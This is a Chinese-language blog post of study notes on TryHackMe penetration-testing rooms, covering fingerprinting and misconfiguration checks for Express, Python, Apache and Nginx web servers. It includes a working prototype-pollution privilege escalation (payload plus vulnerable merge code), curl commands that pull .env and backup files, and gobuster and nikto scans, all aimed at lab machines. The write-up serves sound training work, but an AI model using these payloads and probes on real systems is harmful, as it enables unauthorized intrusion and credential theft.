现代web技术栈和评估web服务器

PT1 专业认证 路径:https://tryhackme.com/path/outline/jrpenetrationtester
https://tryhackme.com/room/modernwebstacks
https://tryhackme.com/room/webserverattacks
https://tryhackme.com/room/webserverattacks2

现代web技术栈

任务1 介绍

每个 Web 技术栈都会泄露其身份信息。请求头、Cookie 名称、错误信息、URL 结构和 HTML 源代码模式都会透露一些关于正在运行的组件的具体信息。一旦掌握了技术栈及其版本,就能了解攻击面。通用漏洞扫描器无法识别存在于单个中间件函数中的身份验证绕过漏洞,也无法识别需要理解反序列化协议才能实现的远程代码执行 (RCE) 漏洞。经验丰富的红队成员通常会先进行手动指纹识别,然后再针对性地进行 CVE 研究。

这个房间里每个任务的工作流程都相同:从可观察的信号中识别堆栈,确认版本,了解为什么存在漏洞代码模式,然后执行漏洞利用链。

三步工作流程适用于所有任务:
从 HTTP 响应信号中提取协议栈信息(目前尚无攻击载荷)
确认版本并确定适用的 CVE 编号
执行漏洞利用链并了解根本原因

先决条件
HTTP in Detail:https://tryhackme.com/room/httpindetail
Linux Shells:https://tryhackme.com/room/linuxshells
Networking Essentials :https://tryhackme.com/room/networkingessentials

实验机器是一台运行 Ubuntu 22.04 的虚拟机,运行着四项服务:端口 3000 (MERN/Express)、端口 3001 (Next.js/RSC)、端口 8000 (Django)和端口 8080 (运行在 Docker中的 2.4.49)。攻击机可以通过分屏连接访问所有四个端口。

任务2 MERN 技术栈

MongoDB, Express.js, React, Node.js:为大量现代 SaaS 产品、内部工具和 API 后端提供支持。Express 是部署量最大的 Node.js Web 框架,其极简主义的设计理念意味着开发者需要编写大量的自定义工具代码。而这些工具代码往往是漏洞的源泉。

  • 堆栈识别
    希望使用单一语言构建整个技术栈的纯 JavaScript 应用来说, MERN 应用是默认选择。在 Ubuntu 系统上,典型的部署方式是:从 NodeSource PPA 获取 Node.js,Express 监听 3000 或 5000 端口,MongoDB 运行在 27017 端口。生产环境中通常会使用反向代理(通常是 Nginx),但在配置错误的环境和内部工具中,Express 进程往往会直接暴露在外。

  • MERN 堆栈的指纹识别

root@tryhackme:~# curl -I MACHINE_IP:3000/
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 68
ETag: W/"44-0T374IjVuBCKvVq78aQtpBIvD2A"
Set-Cookie: connect.sid=s%3A2PyC5xblQ3G0ERkE60uOUddRtPs2jacn.0gAB6ByfrNg3b48tDXARTEBQG0pLlKkBofAsa69W%2FY0; Path=/; HttpOnly
Date: Sun, 03 May 2026 15:00:23 GMT
Connection: keep-alive
Keep-Alive: timeout=5

X-Powered-By: Express
Set-Cookie: connect.sid=s%3A...
未处理的路由响应: Cannot GET /nonexistent
前端根元素: 在 HTML 正文中

X-Powered-By: Express 是主要信号。默认情况下,Express 会在每个响应中发送此标头。只有当开发者显式调用 app.disable('x-powered-by') 或添加了 Helmet 中间件时,此标头才会缺失。大多数开发者不会这样做。反向代理和 PaaS 平台(例如 Vercel、Cloudflare、Railway)通常会在响应到达客户端之前移除此标头。如果 X-Powered-By 缺失,则回退到使用 cookie 名称和未处理路由格式作为辅助信号。

注意: 如果配置了 saveUninitialized: false (在较新的 express-session 文档中,仅登录会话的默认值),则在未经身份验证的请求中不会包含 cookie。缺少 connect.sid 并不代表 Express 未运行。

要确认 Express 未处理路由指纹,请从 AttackBox 终端请求一条不存在的路径:

root@tryhackme:~# curl http://MACHINE_IP:3000/nonexistent
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Cannot GET /nonexistent</pre>
</body>
</html>

使用默认设置的 Express 应用会返回纯文本: Cannot GET /nonexistent 。这与 Django(显示 HTML 错误页面)、Apache(显示样式化的 403 或 404 错误)以及 Next.js(返回带有样式化错误信息的 HTML 页面)都不同。这种纯文本响应非常明确。

  • 利用 MERN
    您已确认堆栈:Express 服务运行在 3000 端口,并使用 connect.sid 会话 cookie。在针对 MERN 应用的渗透测试中,指纹识别之后的下一步是 API 接口枚举。MERN 应用通常会公开 JSON API 用于个人资料更新、偏好设置和用户设置,而开发者经常编写自己的实用函数来对用户对象进行部分更新。这些实用函数通常是原型污染的源头。

/api/user/update POST 接受 JSON 并将其合并到会话用户对象中
/api/admin/flag GET 返回请求用户是否具有管理员权限的标志

首先确认管理路由已启用访问控制。请先保存会话 cookie,然后通过发出以下命令探测受保护的端点:

root@tryhackme:~# curl -c cookies.txt http://MACHINE_IP:3000/
MERN Lab App
root@tryhackme:~# curl -b cookies.txt http://MACHINE_IP:3000/api/admin/flag
{"error":"Not authorized"}

预期结果: {"error":"Not authorized"} 。该检查对具有 isAdmin 属性的普通会话用户有效。

现在来看看正常情况下更新端点会接受哪些数据。合法的客户端可能会发送姓名或电子邮件地址的更改:

root@tryhackme:~# curl -b cookies.txt -X POST http://MACHINE_IP:3000/api/user/update -H "Content-Type: application/json" -d '{"name": "Alice", "email":"alice@example.com"}'
{"status":"updated"}

每个 JavaScript 对象都继承自一个名为 Object.prototype 的共享根对象。当合并函数接收到未过滤 proto 键 {"proto": {"isAdmin": true}} 时,它会将 isAdmin: true 直接写入 Object.prototype ,而不是写入任何单独的用户对象。Node.js 进程中所有查找 .isAdmin 对象都会通过原型链找到 true ,即使该属性从未在该对象上显式设置过。管理员标志端点会检查一个没有自身 isAdmin 属性的普通会话对象的 currentUser.isAdmin ,这使其成为目标对象。一些强化部署会在输入层过滤 __proto__ ;在这种情况下, constructor.prototype 路径( {"constructor": {"prototype": {"isAdmin": true}}} )会通过不同的路径到达 Object.prototype ,从而可以绕过这些过滤器。您可以访问 Prototype Pollution 房间了解更多信息。
https://tryhackme.com/room/prototypepollution

  • 获取管理员权限
    应用程序中存在漏洞的合并函数如下所示:
function merge(target, source) {
  for (let key in source) {
    if (typeof source[key] === 'object' && source[key] !== null) {
      if (!target[key]) target[key] = {};
      merge(target[key], source[key]);
    } else {
      target[key] = source[key];
    }
  }
  return target;
}
当有效负载 {"__proto__": {"isAdmin": true}} 到达此函数时,它会在源键中找到 
__proto__ ,发现它是一个对象,然后递归执行。在递归过程中, target["__proto__"] 是
对 Object.prototype 的引用,而不是一个普通的键,因此它会将 
Object.prototype.isAdmin = true 。然后,管理路由读取 currentUser.isAdmin ,发现
没有对应的属性,遍历原型链,并返回该标志。
app.get('/api/admin/flag', (req, res) => {
  const currentUser = req.session.currentUser || {};
  if (currentUser.isAdmin) {               // resolves true via prototype chain
    res.json({ flag: '[REDACTED]' });
  } else {
    res.status(403).json({ error: 'Not authorized' });
  }
});

第一步:发射原型污染有效载荷

root@tryhackme:~# curl -b cookies.txt -X POST http://MACHINE_IP:3000/api/user/update -H "Content-Type: application/json" -d '{"__proto__": {"isAdmin": true}}'
{"status":"updated"}

第二步:请求管理员标志

root@tryhackme:~# curl -b cookies.txt http://MACHINE_IP:3000/api/admin/flag
{"flag":"[REDACTED]"}

isAdmin 检查通过原型链解析为 true ,响应中包含该标志。

这是可用于攻击现代 Web 技术栈的众多技术之一。

任务3 React/Next.js

任务4 Django

任务5 LAMP

任务6 Automation

评估web服务1

任务1 介绍

四台不同的web服务器:Apache2、Python 内置的服务器、Node.js Express 应用程序和 Nginx。

Apache 和 Nginx 涵盖了传统的 Web 服务器领域
Node.js 代表了现代应用服务器模式
Python 的 内置服务器则涵盖了临时搭建的服务器

评估web服务1:仅限于识别配置错误。不会以传统方式利用漏洞,不会获取 shell、远程代码执行RCE或权限提升。目标是培养侦察技能。

先决条件
网络安全基础知识 : 理解 HTTP 请求/响应周期、状态码和响应头
https://tryhackme.com/room/websecurityessentials
Linux 命令行基础 : 能够熟练使用终端进行基本导航和运行命令
https://tryhackme.com/room/linuxclibasics
网络基础知识 : 熟悉 IP 地址和端口
https://tryhackme.com/room/networkingessentials

任务2 识别Web服务器

  • 服务器响应头:Server标头
    curl -sI http://10.64.131.180:80
    经过安全加固的部署可能只会显示 Apache ,或者完全隐藏标头,但大多数 Ubuntu 服务器的默认配置都会显示这些信息。

Node.js Express 默认不设置 Server 标头;其底层的 Node.js HTTP 层也不设置。开发者必须显式添加 Server 标头。在实际的 Express 应用中,缺少 Server 标头本身就是一个信号。Express 的默认标识符是 X-Powered-By 标头,除非开发者将其移除,否则 Express 会自动设置该标头。

  • 服务器响应头:X-Powered-By: Express

  • 浏览器开发者工具:网络标签栏

  • 默认错误页面
    GET请求默认错误页面
    curl -s http://10.64.131.180:PORT/nonexistent-page-xyz

大多数服务器会返回默认的 404 错误页面。每个服务器的默认页面都有其独特的外观。Python 的响应是纯文本格式。Nginx 会在 HTML 页脚中包含其版本信息。Apache 则会在页面主体中包含其名称。

任务3 Python HTTP Server

python内置服务器
python3 -m http.server 8000

  • 目录列表
    如果目录中不存在 index.html 文件,Python HTTP 服务器会生成一个 HTML 页面,列出它能够访问的所有文件。使用以下命令浏览到服务器根目录,或者直接在浏览器中访问http://10.64.131.180:8000
    curl -s http://10.64.131.180:8000/

图片

  • 访问点文件
    像 .env 这样的点文件在常规目录导航中是隐藏的,但 Python 的 HTTP 服务器并不遵循这一约定。 .env 文件是一个常见的攻击目标,因为开发者用它来存储特定于环境的配置,而这些配置通常包含凭据或加密最佳实践(将敏感密钥存于环境变量中):
root@attackbox:~# curl -s http://10.64.131.180:8000/.env
SECRET_KEY=dev-secret-key-do-not-use
DATABASE_URL=postgresql://webapp:S3cur3DBPass!@localhost/production
DEBUG=True
  • 下载和检查档案
    .zip 、 .tar.gz
    开发人员有时会将备份压缩文件留在服务所在的目录中,这些文件可能包含源代码、数据库转储或配置文件。
root@attackbox:~# curl -s http://10.64.131.180:8000/backup.zip -o backup.zip
root@attackbox:~# unzip backup.zip -d backup-contents/
root@attackbox:~# cat backup-contents/db_dump.sql

如果目录中存在 index.html 文件,Python 将直接提供该文件,而不是显示。如果在根目录下看不到目录列表,可以尝试直接请求路径或导航到子目录。

任务4 apache2

  • 版本披露
    curl -SI http://10.64.131.180:80 | grep -i server
    Ubuntu 上的 apache 默认使用 ServerTokens OS ,其中包含标签和版本号。了解确切的版本有助于您检查已知的 CVE 漏洞并了解服务器的功能

  • 目录列表
    Apache 的 Options +Indexes 指令指示服务器在目录缺少 index.html 或类似默认文件时显示文件列表。有时,被用于正常业务功能,故意启用此功能作为内部文件共享目录;而包含敏感数据的路径则可能被意外地保留了此功能。

浏览至 http://10.64.131.180/files/ 路径:
图片

  • mod_status 页面
    Apache 内置了一个由 mod_status 模块驱动的状态页面。正确配置后,该页面只能从本地主机访问。如果配置错误,使用了 Require all granted ,则该页面可以从任何 IP 地址访问。您可以使用 http://10.64.131.180:80/server-status 访问该页面,如下所示:
    图片

状态页面显示活动连接及其请求路径、服务器启动以来处理的请求总数、工作进程状态(空闲、写入、读取、关闭)以及服务器版本和启动时间。在生产服务器上,这会泄露其他用户正在执行的操作以及存在的内部路径等实时信息。此外,它还会在页面标题中显示确切的服务器版本。

注意: Ubuntu 的 apache 软件包默认启用 mod_status ,并在 conf-available/security.conf 中设置了 Require local 限制。但是,虚拟主机配置中的任何位置的 Require all granted 指令都会静默地覆盖此限制,将 /server-status 暴露给所有 IP 地址,而无需修改模块配置。即使在看似使用默认设置的服务器上,也务必检查 /server-status 。

  • 使用 Gobuster 查找未链接的文件
gobuster dir -u http://TARGET_IP:80 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -x bak,txt,html -t 20

sudo apt install seclists

gobuster dir -u http://10.64.131.180:80 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -x bak,txt -t 20

curl -s http://10.64.131.180:80/backup.bak

.bak 的文件,几乎总是值得恢复的。备份文件通常包含配置片段、凭据或源代码副本。

Apache 使用 .htpasswd 文件存储用于 HTTP 基本身份验证的用户名和哈希密码。找到可访问的 .htpasswd 文件,即可获得可离线破解的凭据哈希值,并确认网站的某些部分使用了基本身份验证,从而确定哪些路径值得尝试进行身份验证访问。

在对 apache 评估中,这一模式是一致的:检查版本头,浏览任何允许列出文件的目录,访问 /server-status ,并使用强制浏览技术查找未链接的文件。这四个步骤涵盖了配置错误的 apache 服务器所暴露的大部分问题。

任务5 Node.js(Express)

Node.js应用的行为与Apache和Python HTTP服务器截然不同。它们并非从配置好的文档根目录提供静态文件,而是运行应用程序代码,由该代码决定每个请求的返回内容。这种灵活性固然强大,但也容易导致各种错误。

攻击者专门针对Node.js Express应用,因为开发者在将代码部署到生产环境时,常常会保留开发模式下的某些功能。调试接口、详细的错误响应以及暴露的环境变量都源于同一个习惯:开发环境中运行正常的代码直接上线。最终导致应用会泄露其构建方式,有时甚至会泄露其使用的凭据

  • 框架指纹识别
    root@ip-10-81-64-63:~# curl -sI http://10.64.131.180:3000

您会在响应中看到 X-Powered-By: Express 。除非开发者明确禁用,否则 Express 会自动设置此标头。这确认您正在处理一个 Express 应用程序,并告诉您接下来应该查找什么。

  • 阅读应用程序版本
root@ip-10-81-64-63:~# curl -s http://10.64.131.180:3000
{"status":"ok","app":"company-portal","version":"1.2.0"}
  • 触发详细错误信息
    当 NODE_ENV 设置为 production 时,Express 内置的错误处理程序会抑制堆栈跟踪。在开发模式下,它会传递堆栈跟踪。但开发人员通常会编写自己的错误处理程序,而这些自定义处理程序会暴露堆栈跟踪,而与 NODE_ENV 无关。在附加的虚拟机中,Web 应用程序使用了自定义错误处理程序。您看到的详细 JSON 响应并非 Express 的默认行为;它是为调试而编写的应用程序代码的结果,从未进行过安全加固。这两种模式在实际项目中都会出现:只有当没有自定义错误处理程序覆盖它时, NODE_ENV=production 检查才有意义。
    考虑以下场景:向 Express 服务器发出 API 调用:
root@ip-10-81-64-63:~# curl -s http://10.64.131.180:3000/api/users | python3 -m json.tool
{
    "error": "connect ECONNREFUSED 127.0.0.1:5432",
    "stack": "Error: connect ECONNREFUSED 127.0.0.1:5432\n    at /opt/nodeapp/app.js:16:15\n    at Layer.handle [as handle_request] (/opt/nodeapp/node_modules/express/lib/router/layer.js:95:5)\n    at next (/opt/nodeapp/node_modules/express/lib/router/route.js:149:13)\n    at Route.dispatch (/opt/nodeapp/node_modules/express/lib/router/route.js:119:3)\n    at Layer.handle [as handle_request] (/opt/nodeapp/node_modules/express/lib/router/layer.js:95:5)\n    at /opt/nodeapp/node_modules/express/lib/router/index.js:284:15\n    at Function.process_params (/opt/nodeapp/node_modules/express/lib/router/index.js:346:12)\n    at next (/opt/nodeapp/node_modules/express/lib/router/index.js:280:10)\n    at expressInit (/opt/nodeapp/node_modules/express/lib/middleware/init.js:40:5)\n    at Layer.handle [as handle_request] (/opt/nodeapp/node_modules/express/lib/router/layer.js:95:5)",
    "query": "SELECT * FROM users"
}

API 端点返回的 500 Internal Server Error 值得深入调查。在开发模式下,响应体通常包含错误消息、堆栈跟踪以及应用程序失败时正在执行的操作的上下文信息。堆栈跟踪是关键所在,因为它揭示了内部文件路径、模块名称,有时还会揭示触发失败的数据库查询。这些细节能够提供一些简单的状态码无法提供的应用程序内部信息。

  • 通过调试端点枚举路由
    配置错误的 Express 应用最有用的功能之一就是列出它所有的路由。开发者有时会为了方便开发而创建一个调试端点来列出所有已注册的路由,然后忘记在上线前将其删除。
root@ip-10-81-64-63:~# curl -s http://10.64.131.180:3000/api/routes
[{"method":"GET","path":"/"},{"method":"GET","path":"/api/users"},{"method":"GET","path":"/api/routes"},{"method":"GET","path":"/api/debug/env"}]

如果此端点存在,则响应将包含应用程序处理的所有路径的列表。这可以节省枚举时间,并让您在花费时间使用 Gobuster 猜测端点之前,就能知道存在哪些端点。

注意:

/api/routes 端点通过读取 Express 内部的 app._router.stack 属性来枚举已注
册的路由。这是一种已知的 Express 配置错误模式,但 app._router.stack 是一个内部属
性,其结构在不同的 Express 版本之间可能有所不同。Express 5 对路由内部结构进行了重大
更改,导致依赖于 Express 4 结构的实现无法正常工作。如果您遇到返回格式异常或错误的路
由端点,则说明您的应用程序可能运行的 Express 版本与本实验使用的版本不同。
  • 暴露的环境变量
    Node.js 应用程序中的环境变量通常包含数据库凭据、API 密钥和配置标志。如果调试端点返回 process.env ,则这是一个重要的发现:
root@ip-10-81-64-63:~# curl -s http://10.64.131.180:3000/api/debug/env
{"NODE_ENV":"development","DB_PASSWORD":"NodeDBPass2024!","PORT":"3000","DB_HOST":"localhost:5432","APP_NAME":"company-portal"}r

如果响应中包含 DB_PASSWORD 、 SECRET_KEY 或类似字段,请记录下来。NODE_ENV 值也很重要。在生产服务器上 NODE_ENV NODE_ENV=development 表明应用程序部署时未进行适当的安全加固。

  • 静态文件服务
    Express 应用通常使用 express.static() 中间件来提供前端资源,例如 JavaScript 文件、样式表和配置文件。如果存在静态文件路由,则会提供目录中的所有内容。客户端 JavaScript 文件有时会包含嵌入为常量的 API 端点 URL、内部主机名或调试标志。

了解了 /api/routes 端点的路由后,检查静态提供的内容:

root@ip-10-81-64-63:~# curl -s http://10.64.131.180:3000/static/config.js
// Client-side configuration
const API_BASE = 'http://internal-api.company.local:8080';
const DEBUG = true;
const VERSION = '1.2.0';

作为静态资源提供的配置文件很容易被忽略,因为从技术上讲,它们应该是公开的(浏览器需要它们)。但是,“应该是公开的”与“只包含公开信息”是不同的。

注意: 默认情况下, express.static() 会对点文件(以 . 开头的文件)静默返回 404 错误。这与 Python 的 HTTP 服务器相反,后者会像处理其他文件一样处理点文件。如果您在 Express 静态路由上查找 .env 或类似文件并收到 404 错误,这并不意味着该文件不存在;而是中间件阻止了它。您需要 shell 访问权限或使用其他路由才能访问该文件。

nginx

nginx的评估与上述方法一致,只是对应的“恐龙名词”不同。
错误配置版本披露、目录列表和暴露的状态页面等类别再次出现,但具体的指令和路径有所不同。

Nginx 与 apache 和 Node.js 的定位有所不同。它最常用于反向代理、负载均衡器或高性能静态文件服务器。在生产环境中,Nginx 通常位于应用服务器的前端,负责处理面向公众的流量。这种定位使得 Nginx 的配置至关重要。配置错误的 Nginx 实例可能会暴露内部结构、泄露运行数据,或者使不应访问的文件可访问。

注意: 在所附的实验虚拟机中,Nginx 运行在 8080 端口,而不是标准的 80 端口。这是因为 apache 已经占用了这台机器上的 80 端口。在实际部署中,Nginx 通常运行在 80 或 443 端口。

  • 版本披露
root@ip-10-81-64-63:~# curl -sI http://10.64.131.180:8080 | grep -i server
Server: nginx/1.24.0 (Ubuntu)

Nginx 默认会在 Server 标头中包含版本信息。与使用 ServerTokens 指令控制版本信息的 Apache 不同,Nginx 使用 server_tokens 。默认情况下,版本信息是 on ,这会暴露版本号。了解确切的版本信息在查看 Nginx 更新日志中的安全修复或构建用户互动报告时非常有用。

server_tokens 指令同时控制默认错误页面中的 Server 标头和版本字符串; server_tokens off 会同时从这两个位置禁用版本信息。如果 Server 标头被禁用,请求一个不存在的路径可以确认 server_tokens 是真正关闭了还是只是部分配置了?

root@ip-10-81-64-63:~# curl -s http://10.64.131.180:8080/nonexistent-path
<html>
<head><title>404 Not Found</title></head>
<body>
<center><h1>404 Not Found</h1></center>
<hr><center>nginx/1.24.0 (Ubuntu)</center>
</body>
</html>
  • 目录列表及自动索引
    Nginx 默认情况下不启用目录列表。当开发者想要公开目录列表时,他们需要在配置文件中的 location 块中添加 autoindex :
location /files/ {
    autoindex on;
    root /var/www/nginx/;
}

这是 Nginx 文档中明确列出的配置选项,通常出现在合法的文件共享设置中。错误配置是指将其用于包含敏感文件的路径,或者在生产服务器上启用该选项而未设置访问控制。

  • nginx_status 端点
    Nginx 的 stub_status 模块通过可配置的 URL 公开实时连接指标。安全配置仅允许从本地主机访问。错误配置允许从任何 IP 地址访问:
location /nginx_status {
    stub_status;
    allow all;  # Should be: allow 127.0.0.1; deny all;
}

请求查看它暴露了什么:

root@ip-10-81-64-63:~# curl -s http://10.64.131.180:8080/nginx_status
Active connections: 1 
server accepts handled requests
 15 15 15 
Reading: 0 Writing: 1 Waiting: 0 

输出格式紧凑,第二行使用未标记的数字,初次看到可能会感到困惑:
第二行的三个数字依次为:已接受连接总数、已处理连接总数和服务器启动以来的请求总数。第三行按状态细分了当前活跃连接。虽然这些数据本身无法直接利用,但它泄露了有关服务器负载和使用模式的运行信息。在实际应用中,暴露的 /nginx_status 端点是一个值得关注的发现,因为它证实了内部监控设置的有效性,并可能表明其他监控端点也存在类似的暴露情况。

Nginx 的评估步骤与 Apache 的评估步骤类似。检查版本头,浏览所有启用了自动索引的目录,并检查状态端点。具体的路径和配置指令有所不同,但评估方法相同。

注意: 在 Ubuntu 系统中,Nginx 的配置文件位于 /etc/nginx/ 目录下。如果您有机会访问运行 Nginx 的机器,读取 /etc/nginx/sites-available/ 目录下的站点配置信息,即可查看哪些目录已公开以及哪些模块已启用。

任务7 服务器的常见配置错误

其中最一致的两个模式是缺少安全标头以及自动扫描器能够快速发现的问题。

  • 安全标头
    安全标头是 HTTP 响应标头,用于指示浏览器如何处理页面内容。它们可以防御一系列客户端攻击,包括点击劫持、 MIME类型嗅探和跨站脚本攻击。本实验中的所有服务器均未配置为发送这些标头,这是所有四种服务器类型的默认状态。

以下是一些最常见的功能及其作用:
X-Frame-Options:防止点击劫持(阻止页面嵌入到另一个域的 iframe 中) DENY or SAMEORIGIN
X-Content-Type-Options:MIME 嗅探(防止浏览器猜测内容类型) nosniff
Content-Security-Policy:限制脚本、样式表和其他资源的加载位置 default-src 'self'
Referrer-Policy:控制导航到其他页面时在 Referer 标头中发送的内容 no-referrer or strict-origin
Strict-Transport-Security:强制后续请求使用 HTTPS(仅在 HTTPS 服务器上有效) max-age=31536000

注意: X-Frame-Options 在技术上已被 Content-Security-Policy: frame-ancestors ,后者提供更精细的控制。一些经过强化的现代网站可能仅通过 CSP 来处理点击劫持防护,并有意省略 X-Frame-Options 。在撰写安全发现报告时,请同时检查这两项设置。

使用 curl 对每台服务器进行审核:

root@ip-10-81-64-63:~# for port in 80 8000 3000 8080; do echo "=== Port $port ==="; curl -sI http://10.64.131.180:$port/ | grep -iE "x-frame-options|x-content-type|content-security-policy|strict-transport|referrer-policy" || echo "(no security headers found)"; done

=== Port 80 ===
(no security headers found)
=== Port 8000 ===
(no security headers found)
=== Port 3000 ===
(no security headers found)
=== Port 8080 ===
(no security headers found)

安全标头信息需要主动配置,默认情况下它们始终不存在。

  • 使用 Nikto 进行自动扫描
    Nikto 是一款 Web 服务器扫描器,用于检查已知的配置错误、过时的软件、暴露的管理界面以及缺失的安全标头。它并不隐蔽;它会产生大量流量,因此很容易被检测到。这使得它更适合授权测试,而非隐蔽操作。请在 Apache 服务器上运行它:
root@ip-10-81-64-63:~# nikto -h http://10.64.131.180:80 -nointeractive

-nointeractive 标志会抑制提示,使扫描无需等待输入即可运行。Nikto 将检查数百种常见路径和模式。请在输出中查找以 + 开头的发现结果。

注意: Nikto 的输出信息可能很详细。 -Tuning 选项可以限制它运行的检查项。要进行快速扫描,可以使用 nikto -h TARGET -Tuning 123 命令,该命令可以检测最常见的问题,而无需运行完整的特征码集。请注意,调整代码是串联的,而不是用逗号分隔的。

在实际项目中,发现这些模式并不意味着存在疏忽,而是表明默认设置从未被审查过。

在同一台机器上测试四个不同的 Web 服务器,会发现一些单独研究每种服务器类型时容易忽略的问题:它们的底层模式是相同的。版本泄露、目录列表暴露、状态页面暴露以及缺少安全标头等问题在Apache 、Nginx、Node.js 和 Python 的 HTTP服务器中都存在,原因相同。默认配置过于宽松。安全需要配置。

评估web服务器2

任务1 介绍

任务2 IIS指纹识别与枚举

任务3 IIS 波浪号(短文件名)枚举

任务4 WebDAV漏洞利用:上传ASPXShell

任务5 ASPX Web Shells

任务6 IIS配置错误

任务7 自动化

posted @ 2026-06-25 23:06  sec875  阅读(14)  评论(0)    收藏  举报